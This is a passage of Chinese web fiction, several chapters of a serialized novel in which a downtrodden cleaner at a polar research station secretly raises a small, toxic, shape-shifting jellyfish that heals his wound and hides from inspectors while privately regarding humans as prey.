徐久吓了一跳,这一刻,他想都不想,没有半分犹豫,使出在食堂抢饭的功夫,伸手就把那团果冻揉到了自己手里,再熟门熟路地往胸前一揣,然后才装作惊慌地站起来,转身面对警卫。 他的心脏砰砰乱跳,行云流水地做完一整套动作,他才想起有毒这回事。 不过说来奇怪得很,小水母的身体又软又滑,与其说果冻,更像是不会散的水银,如今他用肉手接触,怎么一点事也没有? 来不及思考更多,警卫已经快要跳到他脸上了。 “你!干什么的?!” “我,我……”徐久连忙举起双手,摆出一副做贼心虚的神态,讷讷地说,“对不起,实在对不起,我、我真的太饿了……” 赶来的三名警卫拿手电筒照照他,又晃到他身后巨大的垃圾箱,当即明白了他话语中的暗示,一时无语。半晌后,三人同时爆发出一阵大笑。 “哈哈哈哈哈!哎哟我去……你听见这小子说什么了没?太饿了!太饿了就大晚上的跑出来翻垃圾!” 三个人尽情地笑作一团,徐久松一口气,知道对方相信了这番说辞,应该不会太为难自己了。 笑过之后,三个人侧眼望着徐久,目光中带着讥讽,嫌弃,以及几分感慨。其中一人拿手电扫一下徐久的脸,忽然道:“咦,你不是前些天最后逃出来那小子吗?” 说完又与同僚解释:“这小子,那时候最后一个从实验楼逃出来的人,通知外面要炸了。果然,我们刚一撤,广场就被引爆了……” 其他人恍然大悟,那警卫瞧着徐久的样子,难免有些可怜他,不由罕见得善心大发,从兜里掏出两根蛋白棒,扔给徐久。 “行了,拿去填肚子吧!赶紧回你的寝室,别在外面瞎逛,听见没有!” 徐久做出千恩万谢的样子,回到寝室,感觉自己还在做梦。 口袋里的蛋白棒发出异样的哗啦声响,徐久低头一看,小水母不知道什么已经从他胸前爬到了裤子口袋,正窸窸窣窣地吮吸蛋白棒的塑料外壳,想把它整个往口器里塞。 徐久:“……” 徐久急忙把蛋白棒从它身上抢过来,食物被夺,小水母顿时大怒,刺啦张开全身还没长全的口腕,像个凶相毕露的多边形大海星,就要冲徐久扑过去。 “好了好了!”徐久赶紧拿蛋白棒顶着它的头……身子……反正不知道是哪儿,“小蠢货,急什么?这东西不是这么吃的!” 小水母好像听懂了他的话,缓缓收回触角,警惕地鼓着身子,伏在桌子上正对着徐久。 徐久一只手不能用,又不敢用牙咬它吸过的地方,只能忍着剧痛,用左手做出蟹钳状,勉力夹着蛋白棒,防止它滑脱,然后用右手一点点撕开。 尽管没有眼睛,徐久还是觉得这小玩意儿正眨也不眨地盯着自己看。蛋白棒一暴露在空气里,小水母便按捺不住地往上弹了下,跃跃欲试的。 怎么跟个狗一样…… 徐久心里嘟哝,把蛋白棒掰成一份份的小方块,打算放在桌子上。他的手往哪去,水母的身体重心就跟着往哪转,看得徐久心里毛毛的,赶快把一捧蛋白棒都倒下去,自己也拆开一根,坐在椅子上吃。 小水母一跃而上,像摊流淌的水银,包裹住一堆碎块。通过它半透明的身体,徐久能清楚地看到,那些蛋白棒正被迅速分解,像流沙一样,飞快地消失在胶质的伞盖中间。 研究站的蛋白棒质地十分坚硬,他还在慢慢地磨牙,用口水软化,小水母已经消化完一整根,又把桌子上的残渣全拢在一起,用短短的口腕蘸着往食道里送。 这个举动逗笑了徐久,只是,他的笑容并未持续多久,因为小水母把桌子舔得光可鉴人之后,接着就哒哒哒地颠到他面前,重重往下一坐,像个理直气壮的小肉墩子。 徐久:“…………” 徐久叹口气,再掰一半,用手指捏着喂给它。 “没有了哦。”徐久说,“这么小的个子,那么能吃呢……” 水母叽叽咕咕地张开身体,用力抢走那截蛋白棒,徐久赶紧把最后剩下的丢进嘴里,免得小贼又惦记。 望着桌上的小怪物,徐久渐渐出了神。 说真的,我到底在想什么? 要是依着之前听见的说法,那只巨型水母应该被炸成了漫天飞花才对。徐久一点儿也不怀疑莫比乌斯的手段和安排,既然那些人说水母的碎肉都被处理干净了,那他眼前的这只玩意儿又算什么? 思及此处,徐久睁大眼睛,骤然觉得背后发凉,连胳膊上的汗毛都竖了起来。 倘若它真有这么强的生命力,哪怕被炸成肉沫,也能再度生长成新的个体,从研究站滴水不漏的封锁程序下逃出来,那剩下更多的残块碎肉,岂不是…… 徐久打个寒颤,不敢再想下去。 所以,它究竟是个什么东西? 以他生平所见,从未听说过这样的物种。庞大的体型,剧毒,拥有超越常人想象的坚固与嗜血,可以看出,它完全具备一定程度的智力,甚至能模仿出十几种动物的声音……它是自然造物吗?还是说,它是什么外星生物? 徐久活了二十年,仿佛一夜之间从现实世界跨越到了科幻小说栏目,不由感到 5. 愚人一无所有(五) 《我是人啊,你不是?》全本免费阅读 徐久心满意足,仿佛解决了一件至关重要的人生大事,懒洋洋地向椅子上倒去。 可惜得意忘形,倒到一半,又不小心撞到手腕,疼得他脸蛋扭曲,差点大喊大叫起来。 “哎我去……!”徐久的脸色青了再白,又怕大半夜地把左右隔壁吵醒,举报到主管那里,只得咬牙忍着,在椅子上龇牙咧嘴地翻滚了好一阵。 缓过劲来,他小心翼翼地解开脏兮兮的纱布,鼓起勇气,瞄了眼手腕上的伤口。 不看便罢,看过之后,徐久的脸一下缩得像个大苦瓜。 ——溃烂的地方早就化脓了,最深的地方几乎可以看见骨头,而创伤边缘甚至冒起一圈亮晶晶的火泡,连带着手背上都是一片高高肿起的红紫色。 惨不忍睹之处,岂是言语能形容的? 我怎么还没死? 徐久不可思议地看着自己的左手,烂得最严重的地方都疼得麻木了,他拿碘伏棉球擦去那些横流的脓水时,居然没什么感觉。 消过一遍毒,他满身是汗,坐在地上喘气,一回头,发现小水母还待在桌子上,静静地朝着他的方向。 “怎么啦,六号?”他勉强笑一笑,“看什么?还不是你给害的……” 小水母没反应,徐久也不能判断它到底听懂没有,然而倏忽之间,六号从桌子上弹射起步,像一个鬼魅,一个来无影去无踪的小幽灵,隔着两三米的距离,瞬时大跳到了徐久的膝盖上! 速度之快,早已超越了肉眼能够辨认的极限,等徐久反应过来,身上都吓凉了。 他不知道这小怪物想干什么,但就在方才那一刻,徐久从未如此清晰地认识到一件事:假如它真想杀掉他,他是不可能反抗,也没有机会反抗的。 水母的身躯紧贴着他的工装裤,徐久的心头也像坠着块沉甸甸的冰。 他紧张地咽了咽喉咙,小水母没有眼睛,最起码徐久看不到它的眼睛长在哪里,但这个时候,他明显感觉得到,这个家伙正在“打量”他,而且是仔仔细细地“打量”着他。 这种冰冷的,毫无温度的观察态度,令徐久全身发紧——一只兽性具足,人性全无的掠食者,正与他对视。 尽管掠食者长得还怪可爱的,体型也小小的,可是…… 很快,小水母动了。 徐久的身体也跟着一颤,他眼睁睁地看着对方像蜗牛一样,一边往前滑动,一边在他的衣服上留下一道湿湿的水痕,最后在他左手的手腕边停下。 它要干什么?徐久提心吊胆,浑身紧绷。 不会要从这里开始把我吃掉吧? 小水母慢吞吞地爬到伤口的位置上,蹲下,抱住徐久的手腕。 那些脓液、毒素、被感染的污血……全部经由它的身体,从口腕的位置过滤出去了。它就像一个小小的,功率超大的净化器,清洁着那片可怕的伤口。 徐久当即傻眼。 犹如魔法一般,用不了一刻钟,他的伤已经完全恢复正常,收缩到一开始的钱币大小,只剩边缘还带着一点浮肿的白色,创口深处的颜色,则完全变回了健康的鲜红。 虽说没有完全愈合,可这毕竟不再是足以致死的要命伤势了。徐久神清气爽,连带着左半边身子都一下沁凉轻快起来,像是抛掉了一个沉重的拖累。 做完这一切,小水母似乎十分疲倦,它接着慢吞吞地滑下去,趴在人的裤子上,不动了。 徐久呆愣地盯着它,不知道为什么,他的鼻子有点酸酸的。 “你……”他不由轻声开口,“你对我还挺好的……” 徐久想了下,急忙捞起这捧圆鼓鼓的小东西,再翻出洗脸盆。极地站的日常用水都是经过简单处理的冰川淡水,他倒了半盆进去,再把六号放到里面。 六号精神了些,在里面缓缓地舒展口腕,来回摆动。徐久稀奇地盯着看了一会儿,接着打水把地上的一摊狼藉擦拭干净,方觉得身心俱疲。 今天发生的事情实在太过不可思议,徐久只觉得自己好像在做梦。他重新给手换上药和干净绷带,到底烧了蛮长时间,此时一闲下来,脑袋仍然昏昏沉沉的。他连打两个哈欠,到底强撑着睡意,又趴在水盆边瞅了半天,实在撑不住了,才倦怠不堪地爬上床。 “晚安哦。”他小声说,后脑勺刚一沾着枕头,便瞬间昏睡了过去。 第二日,闹铃声惊天动地,照常响起,徐久一个驴打滚,狼狈地翻身摔下床,又迷迷糊糊地爬起来。 要迟到了! 他的意识没有彻底清醒,身体已经条件反射地动了起来。他快速套上鞋子,一只手麻溜地抓起外套,一只手熟练地去够牙杯,刚想漱口,才发现里头没有水。 水呢……?昨晚上忘倒了? 脑子里的雾气散开一些,徐久终于迟钝地回忆起这些天来发生的一连串事件,巨型水母吃人,实验楼被摧毁,捡到微型水母,手上的伤势大好…… 徐久如梦初醒,急忙冲到水盆旁边,去查看六号的情况。 它怎么样了?还好着吗?宿舍的环境这么简陋,适不适合它生活?它不会生病吧? 脑子里转着纷乱的念头,扑到水盆边上,徐久的心瞬间凉了半截。 盆里空荡荡的,只剩下水。 他一下急眼了。 不是,昨天还好好的在里头呢,现在去哪儿了,这就丢了?! 他的胸口也像这个水盆,突然变得空落落的。 这么一个活生生的小东西,昨天还和他共处一室,他甚至给它起了名字,结果今天就没了踪影……徐久心里一下憋得难受,有点喘不过气。 他跪在地上,在桌椅下面,床底和架子底下来回扫荡,又仔细找过四方的犄角旮旯。十余平方的窄小宿舍,叫他翻了个遍。最后,他不抱希望地回到盆边,把手伸进去乱搅一气,想看看是不是真的丢了。 毫无防备的,徐久的手碰到了一个圆圆的东西。 休息被打扰,六号不满地变化颜色,褪去伪装,从水里现身。 真是柳暗花明又一村! 徐久惊出一脑门的虚汗,当下不管不顾,就把六号拎起来训斥:“六号!你差点吓死我!我到跟前了你为什么不吱一声?我知道你能说话的!” 六号在他手里耷拉着伞盖,皱得像个小老头的脸,半晌,轻蔑地朝徐久脸上吐了个泡泡。 徐久哇哇大叫,在原地转着跳脚,快气死了。然而在生气之外,他心中更多充斥着失而复得的喜悦。 还在就好……没丢就好。 他叹了口气,眉宇间逐渐生出一层疲惫的悲伤。 “下次别这样了,我是怕你跑出去,被别人发现,知道吗?外头那么危险,你要是去了我看不到的地方,我要怎么找你呢?我自己就已经是根小杂草了,谁都可以来踩我一脚,我……我没法保护好你的。” 六号不再吐泡泡,而是乖乖地待在他手上。 “但是你有这个本事,我很高兴。”徐久的伤感去得快,马上,他又微微地笑起来,换个更温柔的力度,把六号放在自己的掌心。 “有时候,巡查的人会不敲门,不打招呼就推门进来,他们特别讨厌,而且很可怕,所以你千万不能被他们看见。一发现除了我以外的人,立刻就得变 6. 愚人一无所有(六) 《我是人啊,你不是?》全本免费阅读 俗话说,人逢喜事精神爽。徐久逢的固然算不得什么喜事,却也叫他浑身充满干劲。 借着这个劲头,徐久如法炮制,又去找了两个人,分别出卖了自己下午和明早的劳动力,再换了两块饼干回来。 他知道,这不能算长久之计,但现今也没有更好的办法来换取食物。莫比乌斯不会给低级人员发工资,据他所知,只有C级以上的研究员和管理者,才有资格享受每月津贴补助的待遇,可以去内网采购需要的商品,吃腻了食堂,还能时不时打打牙祭。 至于徐久这样的,严格来说,他贡献的劳动力可没有权力去“换取”什么等价物,他只能替自己还债。在他与实验室签订劳务合同的时候,上面就写得很清楚了:他从小到大的吃穿住行,所受的教育,全是要钱的,只是实验室提前替他们预付了这笔不小的花销,既然他被考核教师鉴定为没有资格再接受教育,那就赶紧滚去干活还钱吧。 他擦擦汗,还是决定走一步看一步。 重建工作进行得如火如荼,下午的活更加繁忙,大批的清洁工不仅要打扫广场上的瓦砾砖石,更要组织人手,顺着挖掘机开凿出的狭小通道,下到岌岌可危的负楼层去抢救一切能看见的文件与电子设备。 徐久累得满头大汗,正靠在一堆破烂钢筋旁边休息喝水时,冷不丁听见背后有两个同队,正压低声音,自以为隐秘地说着悄悄话。 “听说了没?极地站的出口被全部封死了,从前天开始,就是只能进,不能出了!” 他心头一紧,急忙靠近了些,想听听他们交换的小道消息。 “怎么回事?”另一个人也赶忙追问,“是尤恩博士下的令吗?” “十有八九。我这么跟你说吧,现在这事闹太大,谁都不敢担责任,也不想消息走漏出去。博士!你想想,死了个博士,莫比乌斯才有几个博士?” “这确实是……时博士是当场就没了吧?” “差不多,所以我估计尤恩博士的意思就是,先把时博士的死讯压住,对总部就说还在搜寻抢救……能拖多久是多久。反正这地方鸟不拉屎的,就算派过来调查员,十天半个月也到不了。” “哈,这么说……咱们也不用急着干活了?” “当然不用!” 徐久默不作声地坐在背后,他对这两个自作聪明的同事不发表意见,对极地站的权力核心,同样一知半解,不甚感兴趣,他只是在想,那个封闭研究站的消息到底是不是真的。 莫比乌斯的博士大多身份成谜,行踪神秘,很少叫人看清他们的真面目。徐久只知道,对话里的“时博士”,就是那天在控制台广播,指挥所有人撤退,然后不幸被巨型水母一下拍死的人。至于“尤恩博士”——刚进入极地站的时候,徐久罕见地瞥见过对方的侧脸,似乎是个胖胖的白人老头,一头银色的细软头发,稀疏地笼罩在泛红的脑门上。 上头有什么决策,徐久不关心,更不在乎。多年的底层生涯使他过于透彻地明白一件事:不管大人物们做出多宽容的决策,小人物们也不会因此受惠半分,再大的便利,也抵不过层层加重的剥削。况且上位者施舍的所谓“宽容”,原本就十分微薄。 或许尤恩博士确实打算尽可能地拖延时间,但无论他怎么想,最底层的清洁工要是真的敢为此偷懒,看那些面目可憎的主管抽不抽人就完事了。 果不其然,快到下班的时候,主管前来验收成果,发现队伍里有两个浑水摸鱼的成员,连徐久的晦气都忘记找,上去先赏了一人一顿拳脚。 徐久一个干了两个人的活,挂着安全带上上下下地爬了百十来回,此刻累得够呛,去食堂打饭的时候,已经喘得像条死狗,过度的消耗,使他早把什么封锁的消息抛到了九霄云外。 不过,值得高兴的是,今天晚上食堂做中餐! 徐久又快活起来,即使他因为太过疲惫,被其余的清洁工一窝蜂地挤在队伍最后面。 但管他呢!他觉得当下的自己简直超级幸运。 手腕好了,往后的奋斗目标找到了,养了宠物……应该算宠物?差点迟到,主管居然没找他麻烦,而且赚到很多压缩饼干,晚上食堂还有馒头炒菜吃! 徐久一个人排在最后面,傻乎乎的笑容止不住地从心底溢到脸上。轮到他的时候,打饭的人盯着他看了一会儿,忽然从手边的大盆里多捞出一个馒头,丢进他的餐盘里。 徐久:“!” “下班!”打饭的人并不理会他的震惊,更没打算回应些什么,发完最后一个人的饭,扭头便大声喊了句,接着手往上一探,将窗口的金属卷帘往下一拉,钥匙一插,上锁。 整个步骤行云流水,他还没反应过来,眼前便空无一人,玻璃窗上只剩自己的倒影。 徐久晕晕的,又有点做贼心虚的不安,他不敢叫其他人发现,赶紧找个角落蹲下。 天啊,我居然比别人多得一个大馒头!明天我不会很倒霉吧? 今天的菜有黄花菜炒肉丝,麻婆豆腐和小榨菜。黄花菜里有肉,麻婆豆腐同样拌着肉沫,榨菜又辣又入味,徐久要幸福死了。他把榨菜夹在馒头里,再去蘸麻婆豆腐的酱,大口大口地往嘴里塞,三两下就吞进去一个。 这顿饭吃得他额头冒汗,至于如何安置那个多余的馒头,徐久想一想,还是揣到怀里。 算啦,机会难得,除了压缩饼干,这个也带回去给六号吃。 徐久一抹嘴,脚步轻快得按捺不住,差点蹦哒起来。站在宿舍门前,他掏出钥匙开锁,先谨慎地拿余光扫一下周围,才把门推开一条小缝,侧身钻进去。 “我……”徐久清清嗓子,觉得这话在舌头上打转几圈,实在青涩又陌生,“我回来了?” 他在房间里搜寻着六号的踪迹,又小声地说一遍:“我回来了!” 一个凉凉滑滑的东西猛地从天而降,落在他的肩膀上。 徐久吓得一蹦三尺高,心跳都错了一拍,他慌乱扭头,六号就牢牢地扒在那里,隐隐带着几分得意地正对着他。 “你要吓死我啊,小混蛋!”徐久骂完一句,气来得快,消得更快,一转眼,又笑嘻嘻地把它捧在手里。 其实小水母不坏,就是调皮了点…… 他坐下来,就像献宝一样,把怀里的食物一样样地掏给六号:三块沉甸甸的压缩饼干,一个还带着余温的白馒头。 六号在桌子上转悠好几圈,伸出短短的口腕,左探探,右摸摸。它在馒头上碰了一下,两下,忽然就收回全身的触角,缩得紧紧的。 徐久好奇地看着,不晓得它要做什么。 “唬”的一声,六号气势汹汹,像个梦幻版的小小抱脸虫,凶猛地张开身体,扑在馒头上。 徐久:“喔!” 六号似乎在模仿某一类捕食的野兽,恶狠狠地消化掉了跟它身体差不多大的馒头,并且耀武扬威地摆动着口腕。徐久屏住呼吸,新奇地盯着看,直到最后一层馒头皮也消失不见,他才慢慢地吐出一口气。 徐久:“好厉害!” 他是真的觉得六号很厉害,而且胃口也大——能吃是福!这么能吃,就说明一定很健康。 他这么想着,就情不自禁,呱唧呱唧地给小水母鼓起掌来。 六号得到鼓励,依次开始消化剩下那三块压缩饼干,用短短的肉质触角抓着往口中送。 压缩饼干比馒头更坚硬,它吃饭的速度就慢下来。等它像吸果冻一样把两块压缩饼干送入腹中,抓到第三块的时候,它的口腕在饼干的断面上摸索着,渐渐停了。 7. 愚人一无所有(七) 《我是人啊,你不是?》全本免费阅读 六号的体型虽然小,但韧性却是一等一的,徐久也不敢用太大力气,生怕给它扯坏。两方僵持,六号就是吸住不放,固执得要命,徐久被它折腾出一脑门子汗,就差求爷爷告奶奶了。 “小祖宗,没有毒了!”他费劲地掰着水母的口腕,“昨天不就都清出来了吗……唉唉唉别舔了,别舔……!” 六号死犟良久,才不得不承认人类说得很有道理,清除毒素之后,伤口是无法快速愈合的。 “啵”的一声,它终于把嘴拔下来。六号失望地盘踞在伤口上,困惑地伸出口腕,摸了摸那块不大不小的伤口。 好脆弱啊,人类。 徐久总算摆脱这个小祸害,连忙在手腕边缘狠狠抓了好几下解痒,斥责道:“下回不准再这样了!你看看你看看,纱布都被你搞得东一条西一绺的……” 六号无辜地蜷在他身上,有如精巧的水晶摆件。徐久没好气地戳戳它:“干嘛,哑巴啦?刚见你那会儿,你不是能说话吗?还冲着我喊妈妈……这么会占便宜呢?怎么不喊个爸听一听?” 察觉到面前的人类有点气冲冲的,小水母终于发出些动静,它呼噜呼噜地顺着胳膊往上爬,像只半透明的流体猫,一路攀爬到徐久的颈窝处,像围脖一样抱着他的脖子蹭蹭。 徐久:“……” 这下,他哪儿还有火气?他只是假装生气了一下,笑容就再也不由他控制了。徐久一边跪着收拾断成一地的纱布,擦掉手腕上湿漉漉的口水重新上药,一边无奈地道:“真是欠了你的……” 临睡前,徐久去公共盥洗室简单冲洗,刷牙擦脸,再打水回来,给六号的水盆换新。宿舍熄灯时,徐久裹着被子躺在床上,正昏昏欲睡,费劲地汲取脚边热水袋的温暖,忽然听到哗啦一声水响,六号鬼鬼祟祟地跳出盆,马上,他便感到脚边一重。 “又干嘛?”他翻个白眼,“我明天还要早起,别闹了好不好,小祖宗?” 六号不言不语,七八根口腕点着被子,就像一只又可爱,又叫人毛骨悚然的畸形小猫,哒哒哒地跑到徐久胸口,居高临下地端详着他。 “揍你了哦。”徐久有气无力地说,白天太累,他现在眼皮都快抬不起来了。 房间安静片刻,很快,一坨冰冰凉凉的东西滑进被子的缝隙,紧紧贴着徐久的颈窝,牢固地圈着他。数不清多少只口腕,粘糊糊地在被子下面扭动,缠绕,不住摩挲着他的下颔和侧脸,带去细小的痒意。 徐久叹口气,又微笑起来,懒得挠了。 他以前也是养过宠物的……算是宠物吧?上高一的时候,学校氛围太紧张,压力又大,徐久那时候学得拼命,给自己捞了个四人间的寝室。 有天夜里,寝室里跑进老鼠,徐久现在还记得清清楚楚,又小又脏的一只,眼睛贼亮。四个人合力把它抓住之后,其中一个掏出打火机,提议拿老鼠找点乐子,徐久和另一个舍友则不同意,好歹是个活物,要杀要放都行,何必折磨? 争执不下,四个人就僵在那儿了。最后徐久思来想去,暂时拿鞋盒和铁丝拧了个笼子,把老鼠关在里面,放学上学掏点食堂的剩饭喂给它。 小老鼠倒精明得很,知道有奶就是娘的道理,渐渐地不再咬人,也不吱吱乱叫了,其他两个舍友见状,也有模有样地找点吃的来喂,闲暇时再逗逗它。 那时候实在太压抑,而聪明人除了比成绩,更要卷心机,不聪明的就卷体力,装也要把自己装成很聪明的样子。学生们勾心斗角,不择手段地争夺老师的宠爱,拼命不叫自己边缘化;老师们当着得意洋洋的土皇帝,对精英生讨好,再尽情享受中下层学生奉献给他们的阿谀谄媚,享受学生们为自己互相倾轧的乐趣…… 相比之下,老鼠尽管肮脏、愚蠢,可又是那么直接明了,像一张白纸。有吃的就高兴,被捉弄就生气,只会在笼子里吱吱叫,梳洗脸颊和头顶,等待饲主的投喂和清洁…… “它挺有趣的,这小东西。”一个舍友曾经笑着说,“比咱遇到的那些畜生好多了。” 他们给这只灰不溜秋的老鼠取了名字,叫小白。 只可惜,好景不长。先前提议要“找点乐子”的同寝,终究看不惯他们这么优待一只老鼠。他悄悄举报给宿管,宿管再上报给教师,等徐霖他们收到消息跑回来,鞋盒和铁丝的笼子已经被踩烂,小白无处可逃,是被一盆开水烫死的。 “三个臭傻逼,知不知道老鼠身上有多少病毒?!”负责教师对着他们破口大骂,“得传染病死了算你的还是我的?这栋楼可住着三个年级绩点前十的学生,祸害到他们怎么办,你们想过没有?!” 死了又怎么样呢? 学生时代的徐久红着眼睛,低下头,倔强得一声不吭。 待在这儿,难道就比死了强吗? 后来,他和另外两个舍友把那个告密的堵在厕所里一顿暴打,老师也睁一只眼闭一只眼,懒得管这些“报废品”的破事。 再后来……再后来,徐久记不清后来的许多事了,但他再也没养过什么活物,直到今天。 “……算啦,”他睡意朦胧,伸手在六号的伞盖上胡乱揉捏两把,“你……你总比小白厉害……” 他头一歪,彻底睡熟了。六号却一个激灵,像一团膨胀的胶水,蓦地改变了形状。 晦暗的房间里,它的身躯流淌着幻彩的油光,仿佛无序的梦境。 小白?听上去像是给另一个生物取的称号,哪来的竞争者? 水母疑窦顿生,在黑夜里不爽地凝视母体。 吃了它……六号贴着人类温暖的肌肤,破碎的意识,犹如沉浮于混沌羊水中的泡沫,蜂拥着升腾而起,杂乱地汇聚成一个共识。 一切与自己抢夺食物和地位的存在都是猎物,吃了它,吃了它们。储存养分,积蓄能量,进化,母体应当会为自己的成长而感到满意。 ——是的,母体。 六号的记忆始于它仍然完整时,从冰层中恢复知觉的那一刻起。 将它围困的冰川要比这颗星球年轻许多,透过它的囚牢,它看见名为“人类”的物种,嘈杂,熙攘,使用独特且复杂的语言相互交流,时不时地抬起渺小的肢体指向自己。 他们不同于六号昔日经历过,厮杀过,吞噬过的任何一种敌人,他们也不同于任何一类独来独往的强大掠食者。通过多日来的观察,六号逐渐滋生起奇异的着迷之情,一刻不停地“注视”着人类的一举一动。 “它还活着吗?” 他们的语言。 “小心点,别弄坏了冰层!” 他们的行为。 “盖革计数器一直响个不停……你觉得它是不是地球物种?” 他们的工具。 人类确实是十分微弱、孱羸的小小生物。他们没有尖牙利爪,不长厚皮飞羽,然而他们却懂得如何分工合作,如何将微不足道的力量汇聚在一起,凝结出巨大的成果。 着迷顺理成章地演化为渴望,渴望再挑起亘古不化的饥饿。食欲混合着贪婪,使六号躁动不安,急于突破冰层的桎梏。 ——它感应到了进化的全新方向。 过去的很长一段时间,或者说,自打人类发现它以来,就一直为要如何处置它而争论不休。他们争论的声音大且尖锐,即便六号无法听懂,也可以从语气和情绪中明白他们在说什么。 “冰层决不能剥离!”尤恩·韦伯抓狂地大喊,“我们还不能断定它是什么,刺胞动物门的浮游生物根本不具备可供它生长到这个体型的器官结构!见鬼,它透明成这样,我们都看不见它的大脑和器官……这是不自然的!我不同意解冻,我绝不同意,并且我希望立刻上报总部,把这个生物的存在如实相告。” “冷静些,尤恩博士。”在他对面,他的同僚面色平和,“我请你仔细想想,我们何时见过冰层中的猛犸象活生生地出现在人间?是的,鱼类可以在速冻之后重新恢复活力,人的肌细胞在离体几个小时之后还能保持活性,但两千万年的封存——也许还不止,我不认为有什么物种可以幸存。时间是残酷的。” “时博士,我欣赏你的乐观,”尤恩低声说,“但请容许我反驳你的观点,我们在面对未知时,应当抱有慎重的态度,尤其是我们并不清楚这个生物的天性,了解它究竟是凶残还是温顺……” 时夜生勾起嘴角,仿佛被同侪的幽默感逗笑了。 “了解?我们不需要了解。”他说,“只要解冻速度得当,我们就能稳步推进研究,揭开它身上的谜团。我们难道会用人类的情感标准去评判一只动物的好坏吗?更何况,成立阿克尔项目,也是为了我们的前途和未来,博士。我觉得,你也不想在冰天雪地里熬一辈子吧?” 尤恩多番叹息,但他终究退让了。 于是,过去的几个月里,人类进行着浩大的工程,谨慎地开凿冰层,从它口腕的浅浅一层表面上提取液体研究。六号忍耐,万分辛苦地忍耐,然而猎物的热量就像黑夜里点燃的雷电,引诱着它穿刺,消化,啜饮…… 啊,人类实在真切地令它联想到了那些结在枝头的熟果——薄薄的,无用的果皮,包裹着丰沛的血肉,细脆的骨骼,甜美柔嫩的内脏,以及更重要的,信息富集的甘美大脑。 但为了更大的利益,它本能地选择了蛰伏。 看得出来,它的存在为人类揭示了许多奥秘,又带来了更多的谜团。渐渐的,就连初时保守的尤恩·韦伯也不再收敛,主张通过人体实验,来获取最直观的数据。 利用从六号身上提取到的刺细胞溶液,他们在七名低级员工身上进行了临床实验——又或者那压根称不上实验,只是叫他们脱下手套和外套,用肉身短暂地接触了一下那些液体。 然后,他们就用快速且凄惨的死相,震撼了所有进行观测,准备记录数据的人。 好香,六号想。 不过很 8. 愚人一无所有(八) 《我是人啊,你不是?》全本免费阅读 生活真是好起来了! 每天清晨,徐久从床上蹦哒起来,脑子里回荡的全是这个念头。这些天来,他不太像过去那么消极地混日子,笑容里也多了几分真情实感的快乐。“我不孤单”的事实,就像一根坚实的支柱,撑住了他摇摇欲坠的虚无生活。 徐久终于深刻地意识到,宠物带来的情绪价值,以及陪伴的满足感,当真是无可匹敌的。 他加倍努力地干活,省下口粮,藏在怀中带回宿舍,整个人还是瘦,但精神头却前所未有地饱满起来,连着眼神都变亮不少,像映着星星。 无论是在瓦砾堆里打滚,还是清理肮脏的生活垃圾,搬运沉重的器材箱,哪怕身上撞得青一块紫一块,小腿叫锋利的钢筋划伤……对待这些困难,徐久全视若无睹,奇迹般地保持着轻松的心态,嘴角时不时还会扬起微笑,露出颊边一个笑涡。 当然,他这样的精神状态不是没有人产生质疑——一个经常性假笑,间歇性丧气的人,忽然变得如此阳光,快乐得叫人心生不满,这必然是有问题的。 为此,举报到主管那儿的匿名消息突然增多,一些清洁工觉得徐久精神压力太大,已经疯了,还有一些人觉得,徐久肯定找到了什么收取好处的私密渠道,否则,他怎么可能乐得起来? 就这样,徐久被无缘无故地拉去医疗室做了一张心理测试问卷,然后又被无缘无故地放出来。他的宿舍也被突击检查了七次,有四次是在他上工的时候,三次是在他休息的时候。 六号完美地应对了所有的突然检查,隔着十米远的距离,它就能准确无误地判断出来人的意图。有那么两回,在监察队推门而入之前,六号动也不动地蜷在徐久胸前,全身的颜色便如波浪般潮涌,飞速与空气融为一体。 “呃,长官们好?”徐久一脸茫然,面对监察队的成员,他的神色带着恰到好处的惶恐与慌乱,“请问,有什么事吗?” “起床,站好!”来人毫不客气,像训孙子般呵斥,“两只手举起来!” 徐久依言照做,脸上挂着惴惴不安的表情,站在墙边。监察队在不大的宿舍里翻箱倒柜,连两个叠在一起的水盆也分开检查了一番,另一个人顺势来给徐久搜身。 六号整个挂在徐久的脖子上,紧贴着他的颈窝。嗅探着强烈的生人气味,旺盛的食欲在它的每一根神经,每一颗刺细胞中涌动。 它不住分泌着剧毒的消化液,然后再把这些腥苦的毒液悉数吞咽下去,因为一个合格的掠食者理应懂得蛰伏,学会在力量差距悬殊的情况下,率先保障母体与巢穴的安全。 监察员的手严厉地拍打在徐久的前胸后背,六号也圆融流畅地改变着自己的形状,准确无误地避开两只拍个不停的手掌。 站在这狭小的宿舍里,监察员总觉得身上发寒,后颈毛毛的,仿佛暗处有什么危险的东西正盯着他。 他捏过徐久的肩膀,六号便顺遂地滑进宽大的清洁工制服,攀粘在徐久的肩胛骨处;两只手合拢时,六号灵敏闪躲,一路流过窄瘦的腰腹,汇聚在徐久的肋骨边缘。 徐久眼睫毛发颤,六号冰凉的身体固然已经被他捂热了些,但那股痒痒的劲头是没法儿消掉的。六号摆动口腕,径直往他胸口爬,有意无意中,一根微温的触角缠卷上来,绕着左侧的位置打了个转。 徐久:“!” 那处的皮肤无比柔嫩,徐久当即睁大眼睛,满脸通红,小腹的肌肉也跟着哆嗦一下。 六号,你这个小混蛋……! “怎么?”监察员警觉地一抬头。 徐久努力平复呼吸,回答道:“腿上有伤,刚刚……扯了一下。” 监察员掀开裤腿,果然有一道半新不旧的割伤,遂冷笑一声:“有伤也忍着!” 寻摸半天,把房间翻个底朝天,也没见什么“私收的好处”。白来几次,监察队心生厌烦,看见徐久的宿舍号就想翻白眼,再不受理这方面的举报。 每次看到这些人无功而返的表情,以及骂骂咧咧离开的动作,徐久都需要用很大力气来抑制自己的哈哈笑声。关上门后,他乐得像偷到腥的猫儿,总算能展现出一点与符合年龄的活泼,用力抱住六号,在房间里无声尖叫着转圈圈。 事实证明,六号是一个优秀的盟友,共犯。这点带来的十足的安心感,令徐久在极地站的高压环境里,仿佛拥有了一块小小的,可以趴在上面喘息的舢板。 六号同样察觉到了这一点。 母体根本不会向那些人类出卖它,即便他们是他的同族,无论在基因,还是法理上,他们才该是立场相同的一方。 ——他背叛了自己的族群来看护我。 望着徐久快乐的笑脸,这一刻,就像闪电破开迷雾,六号忽然意识到了这个事实。 人类社会有着精妙而紧密的结构,他们的脑力堪称完美,肉|体却孱弱至此。如何抵御自然的恶意,在进化之路上走得更远?团结与联合,必然刻在遗传里的终极密码。 ——他违反了自己的天性来养育我。 为什么? 有史以来第一次,六号通过它冰冷的,兽性的大脑,如此迷惘地思考。 这真的值得吗? 